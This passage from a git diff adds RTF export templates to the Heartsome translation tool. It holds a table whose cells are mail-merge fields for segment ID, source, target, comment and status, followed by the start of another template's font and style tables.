}\trowd \irow1\irowband1\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv +\brdrs\brdrw10 \trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr +\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth2340\clcbpatraw18 \cellx3240 +\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth2520\clcbpatraw18 \cellx5760\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 +\clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1034\clcbpatraw18 +\cellx8414\pard\plain \ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst { +\b\f35\fs18\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $header_id \\* MERGEFORMAT }}{\fldrslt {\b\f35\fs18\lang1024\langfe1024\noproof\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $header_id}}}{ +\b\f35\fs18\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\b\f35\fs18\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $header_source \\* MERGEFORMAT }}{\fldrslt { +\b\f35\fs18\lang1024\langfe1024\noproof\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $header_source}}}{\b\f35\fs18\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\b\f35\fs18\insrsid11083745\charrsid9201643 +\hich\af35\dbch\af13\loch\f35 MERGEFIELD $header_target \\* MERGEFORMAT }}{\fldrslt {\b\f35\fs18\lang1024\langfe1024\noproof\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $header_target}}}{\b\f35\fs18\insrsid11083745\charrsid9201643 +\cell }{\field\fldedit{\*\fldinst {\b\f35\fs18\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $header_comment \\* MERGEFORMAT }}{\fldrslt {\b\f35\fs18\lang1024\langfe1024\noproof\insrsid11083745\charrsid9201643 +\hich\af35\dbch\af13\loch\f35 $header_comment}}}{\b\f35\fs18\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\b\f35\fs18\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $header_status \\* MERGEFORMAT } +}{\fldrslt {\b\f35\fs18\lang1024\langfe1024\noproof\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $header_status}}}{\b\f35\fs18\insrsid11083745\charrsid9201643 \cell }\pard\plain +\ql \li0\ri0\widctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\f35\fs18\insrsid11083745\charrsid9201643 \trowd \irow1\irowband1 +\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\clcbpat18\cltxlrtb\clftsWidth3\clwWidth1008\clcbpatraw18 \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth2340\clcbpatraw18 \cellx3240\clvertalt\clbrdrt +\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth2520\clcbpatraw18 \cellx5760\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\clcbpat18\cltxlrtb\clftsWidth3\clwWidth1620\clcbpatraw18 \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \clcbpat18\cltxlrtb\clftsWidth3\clwWidth1034\clcbpatraw18 \cellx8414\row +}\trowd \irow2\irowband2\lastrow \ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2340\clshdrawnil \cellx3240\clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2520\clshdrawnil \cellx5760\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1034\clshdrawnil \cellx8414\pard\plain +\ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\field\fldedit{\*\fldinst { +\f35\fs18\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $es.Id \\* MERGEFORMAT }}{\fldrslt {\f35\fs18\lang1024\langfe1024\noproof\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $es.Id}}}{ +\f35\fs18\insrsid11083745\charrsid9201643 \cell }\pard \ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\f35\fs18\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 + MERGEFIELD $es.Source \\* MERGEFORMAT }}{\fldrslt {\f35\fs18\lang1024\langfe1024\noproof\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $es.Source}}}{\f35\fs18\insrsid11083745\charrsid9201643 \cell }\pard +\ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid3936425\yts15 {\field\fldedit{\*\fldinst {\f35\fs18\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $es.Target \\* MERGEFORMAT }}{\fldrslt { +\f35\fs18\lang1024\langfe1024\noproof\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $es.Target}}}{\f35\fs18\insrsid11083745\charrsid9201643 \cell }\pard +\ql \li0\ri0\nowidctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0\pararsid9201643\yts15 {\field\fldedit{\*\fldinst {\f35\fs18\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 MERGEFIELD $es.Comment \\* MERGEFORMAT }}{\fldrslt { +\f35\fs18\lang1024\langfe1024\noproof\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $es.Comment}}}{\f35\fs18\insrsid11083745\charrsid9201643 \cell }{\field\fldedit{\*\fldinst {\f35\fs18\insrsid11083745\charrsid9201643 +\hich\af35\dbch\af13\loch\f35 MERGEFIELD $es.Status \\* MERGEFORMAT }}{\fldrslt {\f35\fs18\lang1024\langfe1024\noproof\insrsid11083745\charrsid9201643 \hich\af35\dbch\af13\loch\f35 $es.Status}}}{\f35\fs18\insrsid11083745\charrsid9201643 \cell +}\pard\plain \ql \li0\ri0\widctlpar\intbl\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\f35\fs18\insrsid11083745\charrsid9201643 \trowd \irow2\irowband2\lastrow +\ts15\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidth1\trftsWidthB3\trftsWidthA3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tbllkhdrrows\tbllklastrow\tbllkhdrcols\tbllklastcol \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth1008\clshdrawnil \cellx900\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2340\clshdrawnil \cellx3240\clvertalt\clbrdrt\brdrs\brdrw10 +\clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth2520\clshdrawnil \cellx5760\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 +\cltxlrtb\clftsWidth3\clwWidth1620\clshdrawnil \cellx7380\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth3\clwWidth1034\clshdrawnil \cellx8414\row }\pard +\ql \li0\ri0\nowidctlpar\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid3936425 {\insrsid608150 +\par }} \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment_and_status_en.rtf b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment_and_status_en.rtf new file mode 100644 index 0000000..2a6af51 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.rtf/models/model_with_comment_and_status_en.rtf @@ -0,0 +1,248 @@ +{\rtf1\adeflang1025\ansi\ansicpg936\uc2\adeff0\deff0\stshfdbch13\stshfloch0\stshfhich0\stshfbi0\deflang1033\deflangfe2052\themelang1033\themelangfe2052\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\f13\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};}{\f34\fbidi \froman\fcharset134\fprq2{\*\panose 02040503050406030204}Cambria Math;} +{\f38\fbidi \fswiss\fcharset134\fprq2{\*\panose 020b0604030504040204}Tahoma;}{\f39\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}@\'cb\'ce\'cc\'e5;} +{\flomajor\f31500\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};} +{\fhimajor\f31502\fbidi \froman\fcharset134\fprq2{\*\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;} +{\flominor\f31504\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor\f31505\fbidi \fnil\fcharset134\fprq2{\*\panose 02010600030101010101}\'cb\'ce\'cc\'e5{\*\falt SimSun};} +{\fhiminor\f31506\fbidi \fswiss\fcharset134\fprq2{\*\panose 020f0502020204030204}Calibri;}{\fbiminor\f31507\fbidi \froman\fcharset134\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f43\fbidi \froman\fcharset238\fprq2 Times New Roman CE;} +{\f44\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\f46\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\f47\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\f48\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\f49\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\f50\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\f51\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\f175\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};}{\f383\fbidi \froman\fcharset238\fprq2 Cambria Math CE;}{\f384\fbidi \froman\fcharset204\fprq2 Cambria Math Cyr;}{\f386\fbidi \froman\fcharset161\fprq2 Cambria Math Greek;} +{\f387\fbidi \froman\fcharset162\fprq2 Cambria Math Tur;}{\f390\fbidi \froman\fcharset186\fprq2 Cambria Math Baltic;}{\f423\fbidi \fswiss\fcharset238\fprq2 Tahoma CE;}{\f424\fbidi \fswiss\fcharset204\fprq2 Tahoma Cyr;} +{\f426\fbidi \fswiss\fcharset161\fprq2 Tahoma Greek;}{\f427\fbidi \fswiss\fcharset162\fprq2 Tahoma Tur;}{\f428\fbidi \fswiss\fcharset177\fprq2 Tahoma (Hebrew);}{\f429\fbidi \fswiss\fcharset178\fprq2 Tahoma (Arabic);} +{\f430\fbidi \fswiss\fcharset186\fprq2 Tahoma Baltic;}{\f431\fbidi \fswiss\fcharset163\fprq2 Tahoma (Vietnamese);}{\f432\fbidi \fswiss\fcharset222\fprq2 Tahoma (Thai);}{\f435\fbidi \fnil\fcharset134\fprq2 @\'cb\'ce\'cc\'e5 Western;} +{\flomajor\f31508\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flomajor\f31509\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flomajor\f31511\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;} +{\flomajor\f31512\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flomajor\f31513\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flomajor\f31514\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);} +{\flomajor\f31515\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flomajor\f31516\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbmajor\f31520\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};} +{\fhimajor\f31528\fbidi \froman\fcharset238\fprq2 Cambria CE;}{\fhimajor\f31529\fbidi \froman\fcharset204\fprq2 Cambria Cyr;}{\fhimajor\f31531\fbidi \froman\fcharset161\fprq2 Cambria Greek;}{\fhimajor\f31532\fbidi \froman\fcharset162\fprq2 Cambria Tur;} +{\fhimajor\f31535\fbidi \froman\fcharset186\fprq2 Cambria Baltic;}{\fbimajor\f31538\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbimajor\f31539\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} +{\fbimajor\f31541\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbimajor\f31542\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbimajor\f31543\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\fbimajor\f31544\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbimajor\f31545\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbimajor\f31546\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);} +{\flominor\f31548\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\flominor\f31549\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;}{\flominor\f31551\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;} +{\flominor\f31552\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\flominor\f31553\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);}{\flominor\f31554\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);} +{\flominor\f31555\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\flominor\f31556\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}{\fdbminor\f31560\fbidi \fnil\fcharset134\fprq2 SimSun Western{\*\falt SimSun};} +{\fhiminor\f31568\fbidi \fswiss\fcharset238\fprq2 Calibri CE;}{\fhiminor\f31569\fbidi \fswiss\fcharset204\fprq2 Calibri Cyr;}{\fhiminor\f31571\fbidi \fswiss\fcharset161\fprq2 Calibri Greek;}{\fhiminor\f31572\fbidi \fswiss\fcharset162\fprq2 Calibri Tur;} +{\fhiminor\f31575\fbidi \fswiss\fcharset186\fprq2 Calibri Baltic;}{\fbiminor\f31578\fbidi \froman\fcharset238\fprq2 Times New Roman CE;}{\fbiminor\f31579\fbidi \froman\fcharset204\fprq2 Times New Roman Cyr;} +{\fbiminor\f31581\fbidi \froman\fcharset161\fprq2 Times New Roman Greek;}{\fbiminor\f31582\fbidi \froman\fcharset162\fprq2 Times New Roman Tur;}{\fbiminor\f31583\fbidi \froman\fcharset177\fprq2 Times New Roman (Hebrew);} +{\fbiminor\f31584\fbidi \froman\fcharset178\fprq2 Times New Roman (Arabic);}{\fbiminor\f31585\fbidi \froman\fcharset186\fprq2 Times New Roman Baltic;}{\fbiminor\f31586\fbidi \froman\fcharset163\fprq2 Times New Roman (Vietnamese);}} +{\colortbl;\red0\green0\blue0;\red0\green0\blue255;\red0\green255\blue255;\red0\green255\blue0;\red255\green0\blue255;\red255\green0\blue0;\red255\green255\blue0;\red255\green255\blue255;\red0\green0\blue128;\red0\green128\blue128;\red0\green128\blue0; +\red128\green0\blue128;\red128\green0\blue0;\red128\green128\blue0;\red128\green128\blue128;\red192\green192\blue192;\red255\green255\blue255;\red250\green191\blue143;}{\*\defchp \fs21\kerning2\dbch\af13 }{\*\defpap +\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 }\noqfpromote {\stylesheet{\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \snext0 \sqformat \spriority0 Normal;}{\*\cs10 \additive \ssemihidden Default Paragraph Font;}{\* +\ts11\tsrowd\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblind0\tblindtype3\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\snext11 \ssemihidden \sunhideused \sqformat Normal Table;}{\*\ts15\tsrowd\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 +\trftsWidthB3\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblind0\tblindtype0\tscellwidthfts0\tsvertalt\tsbrdrt\tsbrdrl\tsbrdrb\tsbrdrr\tsbrdrdgl\tsbrdrdgr\tsbrdrh\tsbrdrv +\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs20\alang1025 \ltrch\fcs0 \fs20\lang1033\langfe2052\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 \sbasedon11 \snext15 \styrsid7231073 +Table Grid;}{\*\cs16 \additive \rtlch\fcs1 \af0 \ltrch\fcs0 \ul\cf2 \sbasedon10 \styrsid5069513 Hyperlink;}{\s17\qc \li0\ri0\nowidctlpar\brdrb\brdrs\brdrw15\brsp20 +\tqc\tx4153\tqr\tx8306\wrapdefault\aspalpha\aspnum\faauto\nosnaplinegrid\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs18\alang1025 \ltrch\fcs0 \fs18\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\sbasedon0 \snext17 \slink18 \ssemihidden \sunhideused \styrsid15220708 header;}{\*\cs18 \additive \rtlch\fcs1 \af0\afs18 \ltrch\fcs0 \fs18 \sbasedon10 \slink17 \slocked \ssemihidden \styrsid15220708 \'d2\'b3\'c3\'bc Char;}{\s19\ql \li0\ri0\nowidctlpar +\tqc\tx4153\tqr\tx8306\wrapdefault\aspalpha\aspnum\faauto\nosnaplinegrid\adjustright\rin0\lin0\itap0 \rtlch\fcs1 \af0\afs18\alang1025 \ltrch\fcs0 \fs18\lang1033\langfe2052\kerning2\loch\f0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 +\sbasedon0 \snext19 \slink20 \ssemihidden \sunhideused \styrsid15220708 footer;}{\*\cs20 \additive \rtlch\fcs1 \af0\afs18 \ltrch\fcs0 \fs18 \sbasedon10 \slink19 \slocked \ssemihidden \styrsid15220708 \'d2\'b3\'bd\'c5 Char;}}{\*\rsidtbl \rsid599877 +\rsid608150\rsid1255587\rsid2698375\rsid2892456\rsid3934581\rsid3936425\rsid4081155\rsid4342082\rsid4416445\rsid4653889\rsid4997605\rsid5006427\rsid5069513\rsid5196498\rsid5662041\rsid5771882\rsid5840819\rsid6113044\rsid6312964\rsid6377614\rsid6768826 +\rsid6840096\rsid6840796\rsid6968359\rsid7231073\rsid7690906\rsid8342235\rsid9201643\rsid9263924\rsid9456007\rsid9526854\rsid9962071\rsid10704782\rsid11083745\rsid11087189\rsid11414715\rsid11560315\rsid11737115\rsid11746903\rsid12479908\rsid12588362 +\rsid12613898\rsid12715023\rsid12925418\rsid13008020\rsid13137282\rsid13182432\rsid13967210\rsid14033508\rsid14424044\rsid14445965\rsid15085694\rsid15220708\rsid15869228\rsid16452716\rsid16723424}{\mmathPr\mmathFont34\mbrkBin0\mbrkBinSub0\msmallFrac0 +\mdispDef1\mlMargin0\mrMargin0\mdefJc1\mwrapIndent1440\mintLim0\mnaryLim1}{\info{\author a}{\operator Peason Guo}{\creatim\yr2012\mo2\dy20\hr18\min42}{\revtim\yr2012\mo10\dy30\hr14\min55}{\version54}{\edmins61}{\nofpages1}{\nofwords112}{\nofchars642} +{\*\company a}{\nofcharsws753}{\vern32859}}{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}}\paperw11906\paperh16838\margl1800\margr1800\margt1440\margb1440\gutter0\ltrsect +\deftab420\ftnbj\aenddoc\trackmoves1\trackformatting1\donotembedsysfont0\relyonvml0\donotembedlingdata1\grfdocevents0\validatexml0\showplaceholdtext0\ignoremixedcontent0\saveinvalidxml0\showxmlerrors0\hyphcaps0\formshade\horzdoc\dgmargin\dghspace180 +\dgvspace156\dghorigin1800\dgvorigin1440\dghshow0\dgvshow2\jcompress\ksulang2052\lnongrid +\viewkind1\viewscale130\splytwnine\ftnlytwnine\htmautsp\useltbaln\alntblind\lytcalctblwd\lyttblrtgr\lnbrkrule\nobrkwrptbl\snaptogridincell\allowfieldendsel\wrppunct\asianbrkrule\rsidroot11087189\newtblstyruls\nogrowautofit {\*\fchars +!),.:\'3b?]\'7d\'a1\'a7\'a1\'a4\'a1\'a6\'a1\'a5\'a8\'44\'a1\'ac\'a1\'af\'a1\'b1\'a1\'ad\'a1\'c3\'a1\'a2\'a1\'a3\'a1\'a8\'a1\'a9\'a1\'b5\'a1\'b7\'a1\'b9\'a1\'bb\'a1\'bf\'a1\'b3\'a1\'bd\'a3\'a1\'a3\'a2\'a3\'a7\'a3\'a9\'a3\'ac\'a3\'ae\'a3\'ba\'a3\'bb\'a3\'bf\'a3\'dd\'a3\'e0\'a3\'fc\'a3\'fd\'a1\'ab\'a1\'e9 +}{\*\lchars ([\'7b\'a1\'a4\'a1\'ae\'a1\'b0\'a1\'b4\'a1\'b6\'a1\'b8\'a1\'ba\'a1\'be\'a1\'b2\'a1\'bc\'a3\'a8\'a3\'ae\'a3\'db\'a3\'fb\'a1\'ea\'a3\'a4}\fet0{\*\wgrffmtfilter 2450}\ilfomacatclnup0{\*\ftnsep \ltrpar \pard\plain \ltrpar +\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid15220708 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 \fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 { +\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid15220708 \chftnsep +\par }}{\*\ftnsepc \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid15220708 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid15220708 \chftnsepc +\par }}{\*\aftnsep \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid15220708 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid15220708 \chftnsep +\par }}{\*\aftnsepc \ltrpar \pard\plain \ltrpar\qj \li0\ri0\nowidctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid15220708 \rtlch\fcs1 \af0\afs21\alang1025 \ltrch\fcs0 +\fs21\lang1033\langfe2052\kerning2\loch\af0\hich\af0\dbch\af13\cgrid\langnp1033\langfenp2052 {\rtlch\fcs1 \af0 \ltrch\fcs0 \insrsid15220708 \chftnsepc +\par }}\ltrpar \sectd \ltrsect\linex0\headery851\footery992\colsx425\endnhere\sectlinegrid312\sectspecifyl\sftnbj {\*\pnseclvl1\pnucrm\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl2\pnucltr\pnstart1\pnindent720\pnhang {\pntxta \dbch .}} +{\*\pnseclvl3\pndec\pnstart1\pnindent720\pnhang {\pntxta \dbch .}}{\*\pnseclvl4\pnlcltr\pnstart1\pnindent720\pnhang {\pntxta \dbch )}}{\*\pnseclvl5\pndec\pnstart1\pnindent720\pnhang {\pntxtb \dbch (}{\pntxta \dbch )}}{\*\pnseclvl6 